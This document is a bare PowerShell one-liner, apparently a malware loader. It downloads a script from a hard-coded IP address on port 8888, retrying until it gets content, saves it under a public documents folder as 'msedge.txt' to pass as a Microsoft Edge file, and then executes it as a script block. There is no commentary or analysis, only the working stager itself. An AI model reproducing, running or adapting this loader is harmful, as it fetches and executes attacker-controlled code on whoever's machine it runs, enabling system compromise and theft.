$d='C:\Users\Public\Documents' if(!(Test-Path $d)){md $d -Force|Out-Null} $h='http://107.173.17.208:8888' $w=New-Object Net.WebClient for($r=0;$r -lt 3;$r++){try{$c=$w.DownloadString("$h/proteger");if($c.Length -gt 100){break}}catch{Start-Sleep 2}} [IO.File]::WriteAllText("$d\msedge.txt",$c,[Text.Encoding]::UTF8) & ([ScriptBlock]::Create($c)) -ScriptPath "$d\msedge.txt"